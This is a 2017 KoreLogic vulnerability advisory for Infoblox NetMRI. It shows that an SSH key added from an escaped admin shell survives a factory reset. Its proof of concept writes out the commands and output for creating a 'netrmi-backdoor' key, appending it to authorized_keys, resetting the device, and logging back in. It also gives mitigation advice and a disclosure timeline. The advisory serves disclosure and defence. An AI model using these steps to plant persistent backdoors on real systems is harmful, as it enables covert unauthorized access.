Infoblox NetMRI VM-AD30-5C6CE Factory Reset Persistence
Posted on 25 October 2017
KL-001-2017-018 : Infoblox NetMRI Administration Shell Factory Reset Persistence Title: Infoblox NetMRI Administration Shell Factory Reset Persistence Advisory ID: KL-001-2017-018 Publication Date: 2017.10.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-018.txt 1. Vulnerability Details Affected Vendor: Infoblox Affected Product: NetMRI Affected Version: VM-AD30-5C6CE Platform: Embedded Linux CWE Classification: CWE-485: Insufficient Encapsulation Impact: Administrative Account Backdoor Attack vector: SSH 2. Vulnerability Description An authenticated user who has escaped the management shell can install a public SSH key which will survive factory resets. 3. Technical Description 1. Create a SSH keypair. $ ssh-keygen -f netrmi-backdoor Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in netrmi-backdoor. Your public key has been saved in netrmi-backdoor.pub. The key fingerprint is: 1e:d6:55:7b:f6:a1:a5:9f:ea:8d:2b:4d:5d:ae:9e:19 fake@fake The key's randomart image is: +--[ RSA 2048]----+ | . | | . . | | . .oo| | . . +o+| | S . o..o| | o . ...o| | . o E+ | | . .=+ | | o*=. | +-----------------+ 2. As 'admin' from a escaped shell, echo the public key to authorized_keys. [admin@NetMRI-VM-AD30-5C6CE ~]$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmjcavayYmGgsNUggeILWSw8qGKAZeWkH/01oP/1M8d249zYBJRHri0hJn13DItuOCn/1/RWxFQsUtoph2dHsAnOYPZXEXofPfmWbqOdaOOK+TbrMAgc0CdgKtIDE01LHob4S8s4N//jCHGWUQzv5KAUebRUtR1K7STAQdMnKbhZeoUBoVgvekjnZZ+3gFGg6C7FDg3Z8VstWYJmqxo7N4awEI95fnJ551O4sr9owdIwoZ5OhO0cbt8HGzoCsdbinICKUg3CIhfnmLnNfHtySmBf6srFx7QQ3Gy5lmW7nXNEYrDoXc37H+mpSR0rtPtuWr9GolP9ccHbbIyQXL6frV fake@fake >> /home/admin/.ssh/authorized_keys [admin@NetMRI-VM-AD30-5C6CE ~]$ exit exit [admin@NetMRI-VM-AD30-5C6CE Backup]$ exit exit ping: IDN encoding of '' failed with error code 5 3. Factory reset the system using the management shell. NetMRI-VM-AD30-5C6CE> ? Available Commands: acl ftp md5sum register setup autoupdate grep more remoteCopy show cat halt netstat removedsb snmpwalk clear help ping removemib ssh-key configure installdsb provisiondisk repair supportbundle debug installhelpfiles quit reset telnet deregister installmib rdtclient restore tftpsync diagnostic license reboot rm top exit ls recalculate-spm route traceroute export maintenance refreshgroups set NetMRI-VM-AD30-5C6CE> reset Reset Commands: admin cli snmp tunclient all_licenses database system NetMRI-VM-AD30-5C6CE> reset system ******************************************************************* WARNING WARNING WARNING WARNING WARNING This script deletes the network database, all database archive files, all server logs, all issue details, all files stored in the administrator shell directory and all user logins. This script also resets the administrator password to 'admin' and erases all customer-specific configuration information. WARNING WARNING WARNING WARNING WARNING ******************************************************************* Do you really want to reset (y|n)? [n]y +++ Stopping Server ... +++ Clearing MQ data ... +++ Removing Server Logs ... +++ Removing User Logins ... +++ Resetting Admin Password ... +++ Clearing Network Database ... +++ Clearing All Config Files ... +++ Clearing subscribers and subscriptions ... +++ Clearing reports ... +++ Clearing device support bundles ... +++ Removing Certificates ... +++ Rebuilding database ... +++ Restoring pre-packaged policies ... +++ Resetting Server Configuration ... Server is down, skipping comm server restart +++ Installing Weekly Maintenance Process ... +++ Resetting Server Name ... +++ Resetting Banner Logo ... +++ Resetting Network Interfaces ... +++ Processing Interface eth0 ... +++ Processing Interface eth1 ... +++ Processing Interface eth2 ... +++ Processing Interface eth3 ... +++ Resetting DNS Configuration ... +++ Clearing Admin Directory ... +++ Resetting Firewall Settings ... +++ Resetting Time Zone ... +++ Resetting Security Settings ... ############################################################# The system needs to be rebooted to complete the reset process ############################################################# Enter 'reboot' or 'halt' [reboot]: reboot +++ Reset Complete +++ Rebooting System ... Broadcast message from admin@NetMRI-VM-AD30-5C6CE on pts/0 (Mon, 13 Mar 2017 18:59:02 -0400): The system is going down for reboot NOW! Connection to 1.3.3.7 closed by remote host. 4. Login to the system using the private key. $ ssh -i netrmi-backdoor admin@1.3.3.7 NetMRI VM-AD30-5C6CE ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS. Last login: Mon Mar 13 17:00:07 2017 from 1.3.3.7 ************************************************************************ ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS. ************************************************************************ NetMRI Administrative Shell --------------------------- Available Commands: acl ftp md5sum register setup autoupdate grep more remoteCopy show cat halt netstat removedsb snmpwalk clear help ping removemib ssh-key configure installdsb provisiondisk repair supportbundle debug installhelpfiles quit reset telnet deregister installmib rdtclient restore tftpsync diagnostic license reboot rm top exit ls recalculate-spm route traceroute export maintenance refreshgroups set NetMRI-VM-AD30-5C6CE> 4. Mitigation and Remediation Recommendation There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access to any account of any privilege which can use the ping command in the NetMRI CLI. Network access to management interfaces should be properly segmented. Assuming the lack of input sanitation in the NetMRI CLI is not addressed: Use that vulnerability to check for the existence any SSH keys. No keys should be present. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.21 - KoreLogic requests security contact and PGP key from Infoblox. 2017.07.21 - Infoblox suggests 'security_support@infoblox.com' with PGP key id 0xC4AB2799. 2017.07.24 - KoreLogic submits vulnerability information to Infoblox. 2017.07.31 - 5 business days have elapsed since the vulnerability was reported. No response from Infoblox. 2017.09.15 - KoreLogic requests update from Infoblox. 2017.09.26 - 45 business days have elapsed since the vulnerability was reported to Infoblox. 2017.10.17 - KoreLogic requests an update from Infoblox. 2017.10.18 - 60 business days have elapsed since the vulnerability was reported to Infoblox. 2017.10.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
